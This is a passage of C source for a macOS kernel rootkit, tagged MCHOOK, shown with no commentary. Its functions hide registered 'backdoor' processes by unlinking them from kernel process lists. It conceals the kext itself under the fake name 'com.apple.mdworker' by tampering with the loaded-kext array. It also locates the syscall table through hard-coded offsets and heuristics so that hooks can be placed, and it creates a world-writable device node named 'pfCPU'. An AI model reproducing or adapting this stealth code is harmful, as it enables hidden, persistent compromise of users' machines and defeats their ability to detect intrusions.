i_tasks_count != NULL && i_nprocs != NULL && i_tasks_threads_lock != NULL && i_proc_lock != NULL && i_proc_unlock != NULL && i_proc_list_lock != NULL && i_proc_list_unlock != NULL) { g_symbols_resolved = 1; } return g_symbols_resolved; } int is_leopard() { if (g_os_major == 10 && g_os_minor == 5) return 1; return 0; } int is_snow_leopard() { if (g_os_major == 10 && g_os_minor == 6) return 1; return 0; } int is_lion() { if (g_os_major == 10 && g_os_minor == 7) return 1; return 0; } #pragma mark - #pragma mark DKOM #pragma mark - int hide_proc_l(proc_t p, char *username, int bd_index) { proc_t proc = NULL; #ifdef DEBUG printf("[MCHOOK] Hiding Lion proc: %d\n", p->p_pid); #endif i_proc_list_lock(); // // Unlinking proc // LIST_FOREACH(proc, i_allproc, p_list) { if (proc->p_pid == p->p_pid) { #ifdef DEBUG printf("[MCHOOK] pid %d found\n", p->p_pid); #endif i_proc_lock(proc); LIST_REMOVE(proc, p_list); LIST_REMOVE(proc, p_hash); i_proc_unlock(proc); //(*i_nprocs)--; #ifdef DEBUG printf("[MCHOOK] Procs count: %d\n", *i_nprocs); #endif g_reg_backdoors[bd_index]->is_proc_hidden = 1; break; } } i_proc_list_unlock(); if (g_reg_backdoors[bd_index]->is_task_hidden == 1 || g_reg_backdoors[bd_index]->is_proc_hidden == 1) { #ifdef DEBUG printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[bd_index]->is_task_hidden); printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[bd_index]->is_proc_hidden); #endif g_reg_backdoors[bd_index]->is_hidden = 1; } return 0; } int hide_proc(proc_t p, char *username, int backdoor_index) { proc_t proc = NULL; //int _index = 0; #ifdef DEBUG printf("[MCHOOK] Hiding proc: %d\n", p->p_pid); #endif #if 0 // // g_backdoor_current is not safe for 2 or more backdoors on the same machine // in which case we'll be calling get_active_bd_index // if (g_backdoor_current != -1) { if (g_reg_backdoors[g_backdoor_current]->isHidden == 1) { #ifdef DEBUG printf("[MCHOOK] %d is already hidden\n", p->p_pid); #endif return 0; } } else { if ((_index = get_active_bd_index(p, username)) != -1) { g_backdoor_current = _index; } else { #ifdef DEBUG printf("[MCHOOK] hide_proc failed - backdoor not registered?!!\n"); #endif return -1; } } #endif #ifdef DEBUG printf("[MCHOOK] Be-hiding tasks count: %d\n", *i_tasks_count); #endif /* if (g_os_major == 10 && g_os_minor == 5) { task_l_t task = p->task; // // Unlinking task // lck_mtx_lock(i_tasks_threads_lock); queue_remove(i_tasks, task, task_l_t, tasks); (*i_tasks_count)--; lck_mtx_unlock(i_tasks_threads_lock); g_reg_backdoors[backdoor_index]->isTaskHidden = 1; } else if (g_os_major == 10 && g_os_minor == 6) { task_t task = p->task; // // Unlinking task // lck_mtx_lock(i_tasks_threads_lock); queue_remove(i_tasks, task, task_t, tasks); (*i_tasks_count)--; lck_mtx_unlock(i_tasks_threads_lock); g_reg_backdoors[backdoor_index]->isTaskHidden = 1; } */ #ifdef DEBUG printf("[MCHOOK] Af-hiding tasks count: %d\n", *i_tasks_count); #endif i_proc_list_lock(); // // Unlinking proc // LIST_FOREACH(proc, i_allproc, p_list) { if (proc->p_pid == p->p_pid) { #ifdef DEBUG printf("[MCHOOK] pid %d found\n", p->p_pid); #endif i_proc_lock(proc); LIST_REMOVE(proc, p_list); LIST_REMOVE(proc, p_hash); i_proc_unlock(proc); //(*i_nprocs)--; #ifdef DEBUG printf("[MCHOOK] Procs count: %d\n", *i_nprocs); #endif g_reg_backdoors[backdoor_index]->is_proc_hidden = 1; break; } //i_proc_unlock(proc); } i_proc_list_unlock(); if (g_reg_backdoors[backdoor_index]->is_task_hidden == 1 || g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { #ifdef DEBUG printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[backdoor_index]->is_task_hidden); printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[backdoor_index]->is_proc_hidden); #endif g_reg_backdoors[backdoor_index]->is_hidden = 1; } return 0; } int unhide_proc(proc_t p, int backdoor_index) { #ifdef DEBUG printf("[MCHOOK] Unhiding %d\n", p->p_pid); #endif /* if (g_reg_backdoors[backdoor_index]->isTaskHidden == 1) { if (g_os_major == 10 && g_os_minor == 5) { task_l_t task = p->task; // // Link back our task entry // lck_mtx_lock(i_tasks_threads_lock); queue_enter(i_tasks, task, task_l_t, tasks); (*i_tasks_count)++; lck_mtx_unlock(i_tasks_threads_lock); g_reg_backdoors[backdoor_index]->isTaskHidden = 0; } else if (g_os_major == 10 && g_os_minor == 6) { task_t task = p->task; // // Link back our task entry // lck_mtx_lock(i_tasks_threads_lock); queue_enter(i_tasks, task, task_t, tasks); (*i_tasks_count)++; lck_mtx_unlock(i_tasks_threads_lock); g_reg_backdoors[backdoor_index]->isTaskHidden = 0; } } else { #ifdef DEBUG printf("[MCHOOK] Skipping task unhide, not hidden\n"); #endif } */ // // Link back our proc entry // if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { i_proc_list_lock(); LIST_INSERT_HEAD(i_allproc, p, p_list); //(*i_nprocs)++; i_proc_list_unlock(); g_reg_backdoors[backdoor_index]->is_proc_hidden = 0; } else { #ifdef DEBUG printf("[MCHOOK] Skipping proc unhide, not hidden\n"); #endif } g_reg_backdoors[backdoor_index]->is_hidden = 0; #ifdef DEBUG printf("[MCHOOK] Procs count: %d\n", *i_nprocs); #endif return 0; } int unhide_all_procs() { #ifdef DEBUG printf("[MCHOOK] Unhiding all procs\n"); #endif int i = 0; for (i = 0; i < g_registered_backdoors; i++) { if (g_reg_backdoors[i]->is_active == 1 && g_reg_backdoors[i]->is_hidden == 1) { unhide_proc(g_reg_backdoors[i]->p, i); } } return 0; } // TODO: // - replace ugly casts with a nice-looking struct // - could be wise to acquire sKextLock void hide_kext_osarray() { unsigned char *code = (unsigned char *)kext_lookup_with_tag; if (g_kext_hidden != 0) { #ifdef DEBUG printf("[MCHOOK] Kext already hidden\n"); return; #endif } #ifdef DEBUG printf("[MCHOOK] Scanning for sLoadedKexts from %p\n", code); #endif for (int i=0; i<0x50; i++) { if (code[i] == 0xe8) { // \xe8 == CALL NEAR // displacement, as well as sizeof(int), is 32bit on both x86 and x64 unsigned int *displacement = (unsigned int *)&code[i+1]; // sanity check, must point to a function prolog, \x55 is push [R|E]BP, // CALL NEAR is 5 bytes on both x86 and x64 if (code[i+*displacement+5] == 0x55 ) { unsigned char *instruction = &code[i+5]; // skip to next instruction #ifdef __LP64__ // 0x48 is 64bit prefix // 0xx8b is RIP relative MOV opcode // 5 is size of call instruction // 7 size of MOV // 3 is offset of to displacement from MOV opcode if (*(unsigned short *)instruction == 0x8b48) { unsigned int _sLoadedKextDisplacement = *(unsigned int *)(instruction+3); _sLoadedKext = (char *)*(unsigned long *)((code + i + 5 + 7) + _sLoadedKextDisplacement); break; } #else // on x86 we cannot rely on the single opcode 'cuz it's register-specific, // we could check for all the possible opcodes or just don't care _sLoadedKext = (unsigned char *)**(unsigned long **)(instruction+1); #ifdef DEBUG printf("[MCHOOK] _sLoadedKext @ %08x\n", (unsigned int)_sLoadedKext); #endif break; #endif } } } if (_sLoadedKext == NULL) { #ifdef DEBUG printf("[MCHOOK] Cannot find _sLoadedKext!!!!!!\n"); #endif return; } unsigned int *kextsCount = (unsigned int *)&_sLoadedKext[OFFT_KEXT_COUNT]; #ifdef DEBUG printf(" [MCHOOK] Found _sLoadedKext %lx, with %d loaded count\n", (unsigned long)_sLoadedKext, *kextsCount); #endif unsigned long *arrayPtr = (unsigned long *)*(unsigned long *)&_sLoadedKext[OFFT_KEXT_ARRAY]; unsigned long *lastKext = (unsigned long *)arrayPtr[*kextsCount - 1]; unsigned char *kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]); if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker")) { // if we're still the last loaded kext, // then yeah, it's *that* easy #ifdef DEBUG printf("[MCHOOK] mdworker is the last kext, decrementing OSArray counter\n"); #endif _sLoadedKext[OFFT_KEXT_COUNT]--; g_kext_hidden = 1; } else { // we're no moar the last loaded kext, we must // exchange a pointer then #ifdef DEBUG printf("[MCHOOK] Not last kext, exchaning pointers with: %s\n", (char *)&kmod_info[OFFT_KMOD_NAME]); #endif for (unsigned int i = 0; i<*kextsCount; i++) { lastKext = (unsigned long *)arrayPtr[i]; kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]); if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker")) { arrayPtr[i] = arrayPtr[*kextsCount -1]; _sLoadedKext[OFFT_KEXT_COUNT]--; g_kext_hidden = 1; break; } } } return; } // this is not used anymoar void hide_kext_leopard() { kmod_info_t *k, *prev_k; //char kext_name[] = "com.revenge.kext.machooker"; char kext_name[] = "com.apple.mdworker"; prev_k = i_kmod; if (g_kext_hidden == 0) { for (k = i_kmod; k->next != NULL; k = k->next) { if (strncmp(k->name, kext_name, sizeof(kext_name)) == 0) { prev_k->next = prev_k->next->next; g_kext_hidden = 1; break; } prev_k = k; } } else { #ifdef DEBUG printf("[MCHOOK] KEXT is already hidden\n"); #endif } } // // Landon Fuller trick updated for SL support // static struct sysent *find_sysent(os_version_t *os_ver) { unsigned int table_size; struct sysent *table = NULL; table_size = sizeof(struct sysent) * (*i_nsysent); if (is_leopard() == 1) { #ifdef DEBUG printf("[MCHOOK] find_sysent for leopard\n"); printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); #endif table = (struct sysent *)(((char *)i_nsysent) + sizeof(int)); #if __i386__ // +28 bytes, so far still reliable table = (struct sysent *)(((uint8_t *)table) + 28); #endif } else if (is_snow_leopard() == 1) { #ifdef DEBUG printf("[MCHOOK] find_sysent for snow leopard\n"); printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); #endif uint32_t x; uint32_t size_of_block_to_search; x = 0; size_of_block_to_search = 0x100; table = (struct sysent *)((char *)i_nsysent); #if __i386__ // // -0x2850 bytes from nsysent // http://packetstormsecurity.org/papers/attack/osx1061sysent.txt // table = (struct sysent *)((char *)table - 0x2850); // // -0x60 bytes 10.6.4 // table = (struct sysent *)((char *)table - size_of_block_to_search); #ifdef DEBUG printf("[MCHOOK] Entering heuristic\n"); #endif char *ptr_to_table = (char *)table; for (x = 0; x <= size_of_block_to_search; x++) { table = (struct sysent *)ptr_to_table++; // Sanity check if (table[SYS_syscall].sy_narg == 0 && table[SYS_exit].sy_narg == 1 && table[SYS_fork].sy_narg == 0 && table[SYS_read].sy_narg == 3 && table[SYS_wait4].sy_narg == 4 && table[SYS_ptrace].sy_narg == 4) { #ifdef DEBUG printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x); #endif return table; } } #endif } else if (is_lion() == 1) { #ifdef DEBUG printf("[MCHOOK] find_sysent for lion\n"); printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); #endif uint32_t x; uint32_t size_of_block_to_search; x = 0; size_of_block_to_search = 0x100; table = (struct sysent *)((char *)i_nsysent); #if __x86_64__ // // -0x4498 bytes from nsysent // rev // table = (struct sysent *)((char *)table - 0x4498); #ifdef DEBUG printf("[MCHOOK] table @ 0x%llx\n", (unsigned long long)table); printf("[MCHOOK] nsysent @ 0x%p\n", i_nsysent); #endif #else #ifdef DEBUG printf("[MCHOOK] not ready for 32bit lion kernel\n"); #endif return NULL; #endif #ifdef DEBUG printf("[MCHOOK] Entering heuristic\n"); #endif char *ptr_to_table = (char *)table; for (x = 0; x <= size_of_block_to_search; x++) { table = (struct sysent *)ptr_to_table++; // Sanity check if (table[SYS_syscall].sy_narg == 0 && table[SYS_exit].sy_narg == 1 && table[SYS_fork].sy_narg == 0 && table[SYS_read].sy_narg == 3 && table[SYS_wait4].sy_narg == 4 && table[SYS_ptrace].sy_narg == 4) { #ifdef DEBUG printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x); #endif return table; } } } if (table == NULL) return NULL; #ifdef DEBUG printf("[MCHOOK] sysent@%p\n", table); #endif // Sanity check if (table[SYS_syscall].sy_narg == 0 && table[SYS_exit].sy_narg == 1 && table[SYS_fork].sy_narg == 0 && table[SYS_read].sy_narg == 3 && table[SYS_wait4].sy_narg == 4 && table[SYS_ptrace].sy_narg == 4) { #ifdef DEBUG printf("[MCHOOK] sysent sanity check succeeded\n"); #endif return table; } else { #ifdef DEBUG printf("[MCHOOK] sanity check failed\n"); #endif return NULL; } } #pragma mark - #pragma mark Start/Stop #pragma mark - kern_return_t mchook_start (kmod_info_t *ki, void *d) { #ifdef DEBUG printf("[MCHOOK] Registering our device\n"); printf("[MCHOOK] Size of NSUInteger: %ld\n", sizeof(NSUInteger)); #endif // Register our device in /dev major = cdevsw_add(major, &chardev); if (major == -1) { #ifdef DEBUG printf("[MCHOOK] Error while registering the device node\n"); #endif return KERN_FAILURE; } devfs_handle = devfs_make_node(makedev(major, 0), DEVFS_CHAR, UID_ROOT, GID_WHEEL, 0666, "pfCPU"); if (!devfs_handle) { #ifdef DEBUG printf("[MCHOOK] Error while creating the device node\n"); #endif return KERN_FAILURE; } return KERN_SUCCESS; } kern_return_t mchook_stop (kmod_info_t *ki, void *d) { #ifdef DEBUG printf("[MCHOOK] KEXT stop called\n"); #endif if (g_registered_backdoors == 0) { if (remove_dev_entry() == 0) { #ifdef DEBUG printf("[MCHOOK] KEXT unloaded correctly\n"); #endif } else { #ifdef DEBUG printf("[MCHOOK] An error occurred while unloading KEXT\n"); #endif } remove_hooks(); } #ifdef DEBUG printf("[MCHOOK] Exiting, have phun dude\n"); #endif return KERN_SUCCESS; } .